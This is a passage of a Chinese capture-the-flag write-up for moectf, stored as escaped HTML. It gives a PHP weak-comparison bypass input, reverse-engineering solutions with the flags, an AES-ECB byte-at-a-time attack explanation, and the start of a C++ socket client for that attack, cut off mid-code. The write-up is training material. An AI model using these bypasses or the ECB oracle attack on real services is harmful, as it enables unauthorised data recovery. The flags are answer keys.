\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026quot;tqdl,给师傅递flag\u0026lt;br\u0026gt;\u0026quot;\u003c/span\u003e.\u003cspan class=\"variable\"\u003e$flag\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e。\u003cbr\u003e这道题。。。。ORZ dalao。。。关键在于“以一个数字开头,紧跟一个大写字母的长度为10-12的串”如何表示一个数字,构造一个弱类型比较。\u003cbr\u003e0x?小写。pass\u003cbr\u003e然后我就智障了\u003cbr\u003e1*100000000的计算结果?\u003cbr\u003e哦\u003c/p\u003e\u003cp\u003e\u003ccode\u003e?gugugu=6E00000000\u003c/code\u003e\u003c/p\u003e\u003ch4 id=\"不会的题\"\u003e不会的题\u003c/h4\u003e\u003cp\u003e不会的题写什么wp\u003c/p\u003e\u003ch4 id=\"白名单过滤xss\"\u003e白名单过滤xss\u003c/h4\u003e\u003cp\u003e哦\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eruntime error? reverse engineering?\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"RE\"\u003eRE\u003c/h2\u003e\u003cp\u003e入场前请检查您是否带着您的毛(i)巾(da)\u003c/p\u003e\u003ch4 id=\"re1\"\u003ere1\u003c/h4\u003e\u003cp\u003e拖到ida里\u003c/p\u003e\u003cp\u003e找不到flag?View-\u0026gt;Open Subviews-\u0026gt;Strings\u003c/p\u003e\u003ch4 id=\"re2\"\u003ere2\u003c/h4\u003e\u003cp\u003e拖到ida里\u003c/p\u003e\u003cp\u003eStrings里找不到flag?实现一下F5出来的逻辑,反过来写一遍(实现一下反函数)\u003c/p\u003e\u003cp\u003e\u003ccode\u003emoectf\u0026#123;Qidao_by_fa1con\u0026#125;\u003c/code\u003e\u003c/p\u003e\u003ch4 id=\"py逆向\"\u003epy逆向\u003c/h4\u003e\u003cfigure class=\"highlight sh\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egit \u003cspan class=\"built_in\"\u003eclone\u003c/span\u003e https://github.com/wibiti/uncompyle2.git\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e uncompyle2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003epython setup.py install\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e ..\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003euncompyle py.pyc\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后同re2\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;iostream\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;string\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e \u003cspan class=\"keyword\"\u003enamespace\u003c/span\u003e std;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003estring orig=\u003cspan class=\"string\"\u003e\u0026quot;bX;oY4Tpe4D8Q2;VRW:\u0026#123;U2;IQIP8fR?@\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;i\u0026lt;orig.\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e();i++)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e orig[i]-=i%\u003cspan class=\"number\"\u003e4\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e cout\u0026lt;\u0026lt;orig;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003ebase64一下\u003cbr\u003e\u003ccode\u003emoectf\u0026#123;pyC_RE_1S_E@sy\u0026#125;\u003c/code\u003e\u003c/p\u003e\u003ch4 id=\"玩过2048么?\"\u003e玩过2048么?\u003c/h4\u003e\u003cp\u003e那当然是玩过啦\u003c/p\u003e\u003cp\u003e但是玩不到4096怎么办啊…\u003cbr\u003e那当然是修改器啦\u003c/p\u003e\u003cp\u003e用八门神器(误)IDA找到4096(1000h)改成16(10h)\u003c/p\u003e\u003ch2 id=\"CRYPTO\"\u003eCRYPTO\u003c/h2\u003e\u003ch4 id=\"Open-the-door-of-Crypto\"\u003eOpen the door of Crypto\u003c/h4\u003e\u003cp\u003e熟练使用openssl\u003cbr\u003e熟练使用factordb\u003cbr\u003e熟练使用notepad\u003c/p\u003e\u003ch4 id=\"ECB-Attack\"\u003eECB_Attack\u003c/h4\u003e\u003cul\u003e\u003cli\u003eAES背景知识\u003c/li\u003e\u003c/ul\u003e\u003cp\u003eAES是一种”对称加密”方式,与以RSA为代表的”非对称加密”相对,用同一个密钥进行加密和解密。AES分多种加密模式,其中ECB模式是最简单最易实现的一种。带来便利性的同时,ECB也有一些小缺陷,在某些时候,如果使用不当,AES-ECB有可能带来巨大的灾难。\u003c/p\u003e\u003cul\u003e\u003cli\u003eECB加密过程\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e进行ECB加密时,首先要将字符串分割成相等的几部分(称为block)。为方便表示,此处以3个字符为一个block进行演示,不展示密钥对明文加密的过程。\u003c/p\u003e\u003cp\u003e做出以下假设:\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e明文\u003c/th\u003e\u003cth\u003e密文\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003eaaa\u003c/td\u003e\u003ctd\u003eciph1\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eaab\u003c/td\u003e\u003ctd\u003eciph2\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eaba\u003c/td\u003e\u003ctd\u003eciph3\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ebba\u003c/td\u003e\u003ctd\u003eciph4\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e这时当我们对字串\u003c/p\u003e\u003cp\u003e\u003ccode\u003eaaaaaa\u003c/code\u003e\u003c/p\u003e\u003cp\u003e进行加密时,便可以得到密文\u003c/p\u003e\u003cp\u003e\u003ccode\u003eciph1ciph1\u003c/code\u003e\u003c/p\u003e\u003cp\u003eECB的缺陷何在?\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eECB的每个block前后文不相关,即每个block单独加密,不与其他block相呼应\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e实行一次攻击的条件:\u003c/p\u003e\u003cul\u003e\u003cli\u003e攻击方能够控制字串一定部分的长度\u003c/li\u003e\u003cli\u003e攻击方了解需要获取的信息目标之前的一段信息\u003c/li\u003e\u003cli\u003e攻击方已知字串以某一未知密钥加密后的密文\u003c/li\u003e\u003cli\u003e攻击方能够多次数获取某一字符串以相同密钥加密后的密文\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e假设我们能控制从某一字符串开始处的内容长度,并且了解到字符串的结构为\u003c/p\u003e\u003cp\u003e\u003ccode\u003e[controllable]aaa[target],block=3\u003c/code\u003e\u003c/p\u003e\u003cp\u003e当我们控制\u003ccode\u003e[controllable]\u003c/code\u003e部分为\u003ccode\u003ebb\u003c/code\u003e时,字符串为\u003c/p\u003e\u003cp\u003e\u003ccode\u003ebbaaa[target]\u003c/code\u003e\u003c/p\u003e\u003cp\u003e切分block后为\u003c/p\u003e\u003cp\u003e\u003ccode\u003ebba aa[target_0] [target_1-end]\u003c/code\u003e\u003c/p\u003e\u003cp\u003e现在我们已知整个字符串的密文为\u003c/p\u003e\u003cp\u003e\u003ccode\u003eciph4ciph2ciph5\u003c/code\u003e\u003c/p\u003e\u003cp\u003e则通过尝试对第二个block进行填充并加密可以试出target_0的值为b\u003cbr\u003e现缩短[controllable]部分长度,更改为\u0026quot;b\u0026quot;,则字串变为\u003c/p\u003e\u003cp\u003e\u003ccode\u003ebaaa[target]\u003c/code\u003e\u003c/p\u003e\u003cp\u003e\u003ccode\u003ebaa a[target_0][target_1] [target_2-end]\u003c/code\u003e\u003c/p\u003e\u003cp\u003e此时已知第二个block的内容为”ab[target_1]”,再次尝试可以获得target第二位的值\u003cbr\u003e现更改[controllable]部分为”bbbb”,字串切分后为\u003c/p\u003e\u003cfigure class=\"highlight plain\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ebbb baa a[target_0][target_1] [target_2-end]\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其效果与\u003ccode\u003e[controllable]=\u0026quot;b\u0026quot;\u003c/code\u003e相当,但给我们留下了更多的缩短余地。\u003c/p\u003e\u003cul\u003e\u003cli\u003e回到原题\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e通过多次尝试,不难发现字符串每16个字符划分一个block,作者又给了我们源代码以供参考,连接到服务器后发送来的消息中包含了flag。我们需要控制name长度来”缩”出来flag\u003c/p\u003e\u003cp\u003e\u003ccode\u003ehello, [name], your mission's flag is: [flag]\u003c/code\u003e\u003c/p\u003e\u003cp\u003e于是我们可以写个python来跑,然而我太弱了不会python,CinCPP将就着看吧\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e87\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e88\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e89\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e90\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e91\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e92\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e93\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e94\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e95\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e96\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e97\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e98\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e99\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e100\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e101\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e102\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e103\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;WinSock2.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;iostream\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;cstdio\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;string\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e\u003cspan class=\"meta-string\"\u003e\u0026lt;cstring\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003epragma\u003c/span\u003e comment(lib,\u003cspan class=\"meta-string\"\u003e\u0026quot;Ws2_32.lib \u0026quot;\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e \u003cspan class=\"keyword\"\u003enamespace\u003c/span\u003e std;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003enamespace\u003c/span\u003e ECB_Atack \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eSOCKET server;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003ebool\u003c/span\u003e \u003cspan class=\"title\"\u003eread\u003c/span\u003e\u003cspan class=\"params\"\u003e(string \u0026amp;i)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003echar\u003c/span\u003e buffer[\u003cspan class=\"number\"\u003e2048\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(buffer, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e buffer);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003erecv\u003c/span\u003e(server, buffer, \u003cspan class=\"built_in\"\u003e\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e\u003c/span\u003e(buffer), \u003cspan class=\"number\"\u003e0\u003c/span\u003e) == SOCKET_ERROR) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eclosesocket\u003c/span\u003e(server);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eWSACleanup\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ecout \u0026lt;\u0026lt; \u003cspan class=\"string\"\u003e\u0026quot;read error\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(\u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ei = buffer;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (i.\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e())\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003eput\u003c/span\u003e\u003cspan class=\"params\"\u003e(string m)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (m[m.\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e() - \u003cspan class=\"number\"\u003e1\u003c/span\u003e] != \u003cspan class=\"string\"\u003e\u0026#x27;\\n\u0026#x27;\u003c/span\u003e)m += \u003cspan class=\"string\"\u003e\u0026#x27;\\n\u0026#x27;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ecout \u0026lt;\u0026lt; \u003cspan class=\"string\"\u003e\u0026quot;[message send]\u0026quot;\u003c/span\u003e \u0026lt;\u0026lt; m;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003esend\u003c/span\u003e(server, m.\u003cspan class=\"built_in\"\u003ec_str\u003c/span\u003e(), m.\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e(), \u003cspan class=\"number\"\u003e0\u003c/span\u003e) == SOCKET_ERROR) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eclosesocket\u003c/span\u003e(server);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eWSACleanup\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ecout \u0026lt;\u0026lt; \u003cspan class=\"string\"\u003e\u0026quot;put error\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(\u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eSleep\u003c/span\u003e(\u003cspan class=\"number\"\u003e150\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003estring \u003cspan class=\"title\"\u003eexpect_reply\u003c/span\u003e\u003cspan class=\"params\"\u003e(string message)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eput\u003c/span\u003e(message);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eread\u003c/span\u003e(message);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e message;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003echar\u003c/span\u003e visible_char[] = \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026quot; 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\\\u0026quot;#$%\u0026amp;\\\\\\\u0026#x27;()*+,-./:;\u0026lt;=\u0026gt;?@[\\\\]^_`\u0026#123;|\u0026#125;~\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan 